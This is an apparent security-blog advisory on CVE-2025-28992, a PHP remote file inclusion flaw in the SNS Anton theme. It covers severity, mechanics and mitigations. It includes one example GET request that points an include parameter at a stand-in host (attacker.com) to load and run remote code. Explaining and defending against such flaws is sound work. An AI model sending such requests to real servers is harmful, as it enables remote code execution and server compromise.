{"id":52306,"date":"2025-06-16T04:10:03","date_gmt":"2025-06-16T04:10:03","guid":{"rendered":""},"modified":"2025-07-02T23:18:08","modified_gmt":"2025-07-03T05:18:08","slug":"cve-2025-28992-remote-file-inclusion-vulnerability-in-sns-anton-php-program","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28992-remote-file-inclusion-vulnerability-in-sns-anton-php-program\/","title":{"rendered":"<strong>CVE-2025-28992: Remote File Inclusion Vulnerability in SNS Anton PHP Program<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-28992 vulnerability is a significant security flaw that affects users of snstheme&#8217;s SNS Anton PHP program. It is identified as an Improper Control of Filename for Include\/Require Statement in PHP Program vulnerability, often referred to as a PHP Remote File Inclusion (RFI) vulnerability. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23107-severe-out-of-bounds-write-vulnerability-in-samsung-mobile-processor-exynos-1480-and-2400\/\"  data-wpil-monitor-id=\"58756\">vulnerability is considered severe<\/a> due to its potential to allow unauthorized remote access, which can lead to potential system compromise and data leakage.<br \/>\nBeing a PHP-related vulnerability, it impacts a wide range of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49199-application-backup-zips-vulnerability-and-system-compromise\/\"  data-wpil-monitor-id=\"61281\">systems and applications<\/a> that use PHP, a popular server-side scripting language. The seriousness of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30220-high-severity-xml-external-entity-xxe-vulnerability-in-geoserver-geotools-and-geonetwork\/\"  data-wpil-monitor-id=\"60609\">vulnerability is underlined by its CVSS Severity<\/a> Score of 8.1, indicating a high level of risk.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28992<br \/>\nSeverity: High 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21462-memory-corruption-vulnerability-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"59099\">System Compromise<\/a>, Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1945840952\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28990-critical-php-local-file-inclusion-vulnerability-in-sns-vicky\/\"  data-wpil-monitor-id=\"65807\">SNS Anton PHP<\/a> Program | n\/a through 4.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of the PHP program&#8217;s <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33073-windows-smb-improper-access-control-vulnerability\/\"  data-wpil-monitor-id=\"61070\">improper control<\/a> of filename for include\/require statement. An attacker can manipulate the filename that the PHP include\/require statement is intended to use, resulting in the inclusion (execution) of a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47586-php-remote-file-inclusion-vulnerability-in-stylemixthemes-motors-events\/\"  data-wpil-monitor-id=\"59941\">remote file<\/a> hosted on an attacker-controlled system.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4981-critical-file-extraction-vulnerability-in-mattermost-leading-to-potential-remote-code-execution\/\"  data-wpil-monitor-id=\"63069\">file can contain malicious code<\/a> designed to compromise the server, such as code to create a backdoor, extract sensitive data, or otherwise manipulate the system in a way that benefits the attacker. As the PHP program runs on the server side, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5527-critical-vulnerability-exposing-potential-system-compromise-in-tenda-rx3\/\"  data-wpil-monitor-id=\"58703\">vulnerability could potentially lead to a full system compromise<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2549759289\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this conceptual example, an attacker sends a GET request to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4578-sql-injection-vulnerability-in-file-provider-wordpress-plugin\/\"  data-wpil-monitor-id=\"58808\">vulnerable index.php file<\/a>, appending a parameter `file` with a value pointing to a malicious PHP file hosted on their own server (`attacker.com`). If the server is vulnerable, it will include and execute the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26592-php-remote-file-inclusion-vulnerability-in-ancorathemes-inset\/\"  data-wpil-monitor-id=\"60169\">PHP file<\/a>, running the attacker&#8217;s code on the server.<\/p>\n<p><strong>Recommendations<\/strong><\/p>\n<p>It is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against this exploit.<br \/>\nAdditionally, it is generally good practice to avoid using user-supplied <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24274-input-validation-issue-exploitable-via-malicious-app-on-macos\/\"  data-wpil-monitor-id=\"59606\">input directly in include\/require statements in PHP without proper validation<\/a> and sanitization. This can help <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49155-uncontrolled-search-path-vulnerability-in-trend-micro-apex-one-data-loss-prevention-module\/\"  data-wpil-monitor-id=\"62530\">prevent such vulnerabilities<\/a> from arising in the first place.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-28992 vulnerability is a significant security flaw that affects users of snstheme&#8217;s SNS Anton PHP program. It is identified as an Improper Control of Filename for Include\/Require Statement in PHP Program vulnerability, often referred to as a PHP Remote File Inclusion (RFI) vulnerability. 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